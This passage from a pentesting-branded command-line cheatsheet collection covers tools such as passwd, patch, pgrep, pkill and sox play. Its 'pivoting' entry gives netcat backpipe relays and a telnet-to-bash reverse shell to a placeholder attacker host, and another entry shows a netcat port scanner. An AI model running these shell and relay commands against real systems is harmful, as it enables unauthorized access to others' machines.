parallel -q convert -size 300x300 xc:black -stroke green -draw 'line 150,150 {= $_*=atan2(1,0)*4/360; $r=50; $_=int(150-$r*sin($_)).",".int(150+$r*cos($_)) =}' R{}.gif ::: {180..540}; convert R*gif radar.gif

# Fast portscanner via Parallel
parallel -j200% -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22

#==============================##==============================#
# CMD PARALLEL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

116 - 🖥️passwd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the passwd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  █████╗ ███████╗███████╗██╗    ██╗██████╗ 
#                ██╔══██╗██╔══██╗██╔════╝██╔════╝██║    ██║██╔══██╗
#                ██████╔╝███████║███████╗███████╗██║ █╗ ██║██║  ██║
#                ██╔═══╝ ██╔══██║╚════██║╚════██║██║███╗██║██║  ██║
#                ██║     ██║  ██║███████║███████║╚███╔███╔╝██████╔╝
#                ╚═╝     ╚═╝  ╚═╝╚══════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ 
                                                                  
                                                                  
                                               

# The passwd command is used for changing passwords for user accounts.

passwd root
Changing password for root.
(current) UNIX password:

#==============================##==============================#
# CMD PASSWD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

117 - 🖥️patch

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the patch command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  █████╗ ████████╗ ██████╗██╗  ██╗
#                ██╔══██╗██╔══██╗╚══██╔══╝██╔════╝██║  ██║
#                ██████╔╝███████║   ██║   ██║     ███████║
#                ██╔═══╝ ██╔══██║   ██║   ██║     ██╔══██║
#                ██║     ██║  ██║   ██║   ╚██████╗██║  ██║
#                ╚═╝     ╚═╝  ╚═╝   ╚═╝    ╚═════╝╚═╝  ╚═╝
                                                         
                                                         
                                                         
                                                        
# Patch one file
patch version1 < version.patch

# Reverse a patch
patch -R version1 < version.patch

# Patch all files in a directory, adding any missing new files
# -p strips leading slashes
$ cd dir
$ patch -p1 -i ../big.patch

# Patch files in a directory, with one level (/) offset
patch -p1 -r version1/ < version.patch

#==============================##==============================#
# CMD PATCH						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

118 - 🖥️percol

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the percol command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗██████╗  ██████╗ ██████╗ ██╗     
#  ██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║     
#  ██████╔╝█████╗  ██████╔╝██║     ██║   ██║██║     
#  ██╔═══╝ ██╔══╝  ██╔══██╗██║     ██║   ██║██║     
#  ██║     ███████╗██║  ██║╚██████╗╚██████╔╝███████╗
#  ╚═╝     ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝

# percol

# adds flavor of interactive filtering to the traditional pipe concept of UNIX shell 

# to install percol
sudo pip install percol

# interactive pgrep version
ps aux | percol | awk '{ print $2 }'

# interactive pkill version
ps aux | percol | awk '{ print $2 }' | xargs kill
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

119 - 🖥️perl6

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the perl6 command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ███████╗██████╗ ██╗      ██████╗ 
#  ██╔══██╗██╔════╝██╔══██╗██║     ██╔════╝ 
#  ██████╔╝█████╗  ██████╔╝██║     ███████╗ 
#  ██╔═══╝ ██╔══╝  ██╔══██╗██║     ██╔═══██╗
#  ██║     ███████╗██║  ██║███████╗╚██████╔╝
#  ╚═╝     ╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝ 

# perl6
# The Perl 6 Language Implementation

# to install perl6 (in Debian/Ubuntu)
apt-get install rakudo 

# To install rakudobrew and zef (perl 6 package management)
git clone https://github.com/tadzik/rakudobrew ~/.rakudobrew
export PATH=~/.rakudobrew/bin:$PATH
# or fish shell: set -U fish_user_paths ~/.rakudobrew/bin/ $fish_user_paths
rakudobrew init # Instructions for permanent installation.
# to install vm:
rakudobrew list-available
rakudobrew build moar 2017.12
# to install package manager zef
rakudobrew build zef
# after zef is installed you can build and install perl6 packages
zef install p6doc
# After you have installed new modules and scripts with zef or panda
# to make the scripts available in ~/.rakudobrew/bin and thus your PATH
rakudobrew rehash

# See also:
#   Perl language cheat sheets at /perl6/
#   list of pages:      /perl6/:list
#   learn perl:         /perl6/:learn
#   perl one-liners:    /perl6/1line
#   search in pages:    /perl6/~keyword
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

120 - 🖥️pg_top

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pg_top command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗      ████████╗ ██████╗ ██████╗ 
#  ██╔══██╗██╔════╝      ╚══██╔══╝██╔═══██╗██╔══██╗
#  ██████╔╝██║  ███╗        ██║   ██║   ██║██████╔╝
#  ██╔═══╝ ██║   ██║        ██║   ██║   ██║██╔═══╝ 
#  ██║     ╚██████╔╝███████╗██║   ╚██████╔╝██║     
#  ╚═╝      ╚═════╝ ╚══════╝╚═╝    ╚═════╝ ╚═╝

# pg_top
# Display and update information about the top cpu PostgreSQL processes 

# connect to port 5432 using user postgres, and database, ask for password
pg_top -p 5432 -U postgres -d database -W

# Interactive mode keys:
#
#  A
#      Display the actual query plan (EXPLAIN ANALYZE)
#  E
#      Display re-determined execution plan (EXPLAIN) of the SQL statement by a backend process
#  L
#      Display the currently held locks by a backend process
#  Q
#      Display the currently running query of a backend process
#  X
#      Display user index statistics. 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

121 - 🖥️pgrep

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pgrep command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  ██████╗ ██████╗ ███████╗██████╗ 
#                ██╔══██╗██╔════╝ ██╔══██╗██╔════╝██╔══██╗
#                ██████╔╝██║  ███╗██████╔╝█████╗  ██████╔╝
#                ██╔═══╝ ██║   ██║██╔══██╗██╔══╝  ██╔═══╝ 
#                ██║     ╚██████╔╝██║  ██║███████╗██║     
#                ╚═╝      ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝     
                                                         
                

#==============================#
# CMD PGREP, egrep, ngrep, fgrep
#==============================##==============================#
pgrep myscript.pl && echo still running || echo "done" | mail admin
# Use the && and || logic operators for results based process control.

pgrep appstreamcli && xdg-open http://bit.ly/appstreamcli 
# Ubuntu users, if appstreamcli is running right now, check this URL. 100% CPU bug

pgrep rsync | xargs ionice -c3 -p
# Adjust all rsync processes on the system so that they have lower (idle) IO priority.

pgrep -f bash | while read PMATCH;do echo "$PMATCH # $(grep -e nr_involuntary_switches /proc/$PMATCH/sched|tr -d '\040\011\012\015') # [sysc]:$(ausyscall $(cat /proc/$PMATCH/syscall|cut -d' ' -f1))"; done;
# sched && syscall app state awareness basics
# example or test, basic awareness on app state, mostly for copy-paste reasons, requires auditd (ausyscall), rekt echoing (everything here is rekt) This is sample output 
	1106 # nr_involuntary_switches:2 # [sysc]:pselect6
	1857 # nr_involuntary_switches:3 # [sysc]:wait4
	1912 # nr_involuntary_switches:3 # [sysc]:wait4
	8901 # nr_involuntary_switches:0 # [sysc]:read
	9186 # nr_involuntary_switches:2 # [sysc]:wait4
	9238 # nr_involuntary_switches:24 # [sysc]:pselect6
	14966 # nr_involuntary_switches:1 # [sysc]:wait4
	15054 # nr_involuntary_switches:9 # [sysc]:wait4
	21137 # nr_involuntary_switches:0 # [sysc]:wait4
	21628 # nr_involuntary_switches:0 # [sysc]:pselect6
	22719 # nr_involuntary_switches:0 # [sysc]:pselect6
	28808 # nr_involuntary_switches:0 # [sysc]:wait4
	30983 # nr_involuntary_switches:0 # [sysc]:wait4
	31179 # nr_involuntary_switches:18 # [sysc]:pselect6

#==============================##==============================#
# CMD PGREP, egrep, ngrep, fgrep
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

122 - 🖥️pidof

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pidof command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗██████╗  ██████╗ ███████╗
#                ██╔══██╗██║██╔══██╗██╔═══██╗██╔════╝
#                ██████╔╝██║██║  ██║██║   ██║█████╗  
#                ██╔═══╝ ██║██║  ██║██║   ██║██╔══╝  
#                ██║     ██║██████╔╝╚██████╔╝██║     
#                ╚═╝     ╚═╝╚═════╝  ╚═════╝ ╚═╝     
                

                                                   
# The pidof command gives you the process ID of a running program/process.

pidof nautilus
2714

#==============================##==============================#
# CMD PIDOF						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

123 - 🖥️pivoting

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pivoting command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗ ██╗██╗   ██╗ ██████╗ ████████╗██╗███╗   ██╗ ██████╗ 
#  ██╔══██╗██║██║   ██║██╔═══██╗╚══██╔══╝██║████╗  ██║██╔════╝ 
#  ██████╔╝██║██║   ██║██║   ██║   ██║   ██║██╔██╗ ██║██║  ███╗
#  ██╔═══╝ ██║╚██╗ ██╔╝██║   ██║   ██║   ██║██║╚██╗██║██║   ██║
#  ██║     ██║ ╚████╔╝ ╚██████╔╝   ██║   ██║██║ ╚████║╚██████╔╝
#  ╚═╝     ╚═╝  ╚═══╝   ╚═════╝    ╚═╝   ╚═╝╚═╝  ╚═══╝ ╚═════╝

# To make a FIFO in the file system 
mknod [name of file] p

# Pivoting with a backpipe #
# On the attacker:
nc [pivot host]

# On the pivot host
nc localhost 80 <[FIFO file name] | nc -l -p 4444 >[FIFO file name]

# Telnet variant (when netcat is not available on the target) #
# Listen on port 80 in terminal 1 on the attack machine
nc -l -n -v -p 80 

# Listen on port 443 in terminal 2 on the attack machine
nc -l -n -v -p 443

# On the target machine:
telnet [attack host] 80 | /bin/bash | telnet [attack host]
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

124 - 🖥️pkgtools

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pkgtools command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗  ██╗ ██████╗████████╗ ██████╗  ██████╗ ██╗     ███████╗
#                ██╔══██╗██║ ██╔╝██╔════╝╚══██╔══╝██╔═══██╗██╔═══██╗██║     ██╔════╝
#                ██████╔╝█████╔╝ ██║  ███╗  ██║   ██║   ██║██║   ██║██║     ███████╗
#                ██╔═══╝ ██╔═██╗ ██║   ██║  ██║   ██║   ██║██║   ██║██║     ╚════██║
#                ██║     ██║  ██╗╚██████╔╝  ██║   ╚██████╔╝╚██████╔╝███████╗███████║
#                ╚═╝     ╚═╝  ╚═╝ ╚═════╝   ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝╚══════╝
                                                                                   
                                                                                   
                                                                                  
# Create a Slackware package from a structured directory and sub-tree
$ cd /path/to/pkg/dir
$ su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz'

# Install a Slackware package
installpkg foo-1.0.3-x86_64-1.tgz

# Install a Slackware package to non-standard location
ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz

# Create backup of files that will be overwritten when installing
tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz)

# Upgrade a Slackware package including files only in new version
upgradepkg --install-new foo-1.0.6-noarch-1.tgz

# Upgrade a Slackware package even if version is the same
upgradepkg --reinstall foo-1.0.4-noarch-1.tgz

# Remove a Slackware package
removepkg foo-0.2.8-x86_64-1

# Remove a Slackware package, retaining a backup (uninstalled) copy
removepkg -copy foo-0.2.8-x86_64-1  # -> /var/log/setup/tmp/preserved_packages/foo...

#==============================##==============================#
# CMD PKGTOOLS						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

125 - 🖥️pkill

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pkill command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗  ██╗██╗██╗     ██╗     
#                ██╔══██╗██║ ██╔╝██║██║     ██║     
#                ██████╔╝█████╔╝ ██║██║     ██║     
#                ██╔═══╝ ██╔═██╗ ██║██║     ██║     
#                ██║     ██║  ██╗██║███████╗███████╗
#                ╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝╚══════╝
                                                   
                

# To kill a process using it's full process name
pkill <processname>

# To kill a process by it's partial name
pkill -f <string>

#==============================##==============================#
# CMD PKILL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

126 - 🖥️play

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the play command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ██╗      █████╗ ██╗   ██╗
#                ██╔══██╗██║     ██╔══██╗╚██╗ ██╔╝
#                ██████╔╝██║     ███████║ ╚████╔╝ 
#                ██╔═══╝ ██║     ██╔══██║  ╚██╔╝  
#                ██║     ███████╗██║  ██║   ██║   
#                ╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   
                

                                                
#==============================#
# CMD play
#==============================##==============================#
play -q -n synth sq F2 sq C3 remix - fade 0 5 .1 norm -4 bend 0.5,2477,3 fade 0 5 0.8
# THX-like sound. play is from the sox package.

play -n synth pl G2 pl B2 pl D3 pl G3 pl D4 pl G4 delay 0 .05 .1 .15 .2 .25 remix - fade 0 4 .1 norm -1
# Guitar strum. play is from sox pkg

play -n synth sine 480 sine 620 remix 1-2 fade 0 0.5 delay 0.5 repeat 5
# And you probably haven not heard one of these in a while.

play -n synth sine A sine F remix 1-2 fade 0 5
# With this command you can generate a U.S. dial tone using sox play.

play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
# Pretend that you are on a starship.

play msg0114.WAV vol 10 dB tempo 1.5
# Playback a voicemail at 10 decibels louder and 50% faster without affecting pitch. Req. sox package.

play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1
# Pretend that you are on a starship.

# Pretend you are on a starship (Uses sox) #StarTrekDay
play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1 

play -n synth sin 900 bend 0.3,800,1 bend 1.2,-150,1 trim 0 3.5 reverb -w 
# Make your own spooky noises with sox. #ImBaaack

play -n -c1 synth whitenoise band -n 100 20 band -n 50 20 gain +30 fade h 1 86400 1 
# Pretend you are on a starship (Uses sox)

play -n synth -j 3 sin %3 sin %-2 sin %-5 sin %-9 sin %-14 sin %-21 fade h .01 2 1.5 delay 1.3 1 .76 .54 .27 remix - fade h 0 2.7 2.5 norm -1 # Chimes sound from the 'sox' man page. Your attention please. The train to Osaka is now boarding on Track #3.

play -n synth sq C trim 0 4 vol 0.2 chorus 1 1 21 1 4 10 -s bend 0,2400,4 fade 0.1 4 2 # I'm outta here for today. Have fun.

eval play -n synth .25 pl\ {F2,F2,G2,F2,G#2,F2,Bb2,A2} delay $( seq 0 .25 1.75 ) repeat 100 remix - 
# Play the bass line from the theme to Peter Gunn using sox play. Also known from Blues Brothers, Spy Hunter, etc.

#==============================##==============================#
# CMD play
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

127 - 🖥️pmset

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pmset command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗ ███╗   ███╗███████╗███████╗████████╗
#                ██╔══██╗████╗ ████║██╔════╝██╔════╝╚══██╔══╝
#                ██████╔╝██╔████╔██║███████╗█████╗     ██║   
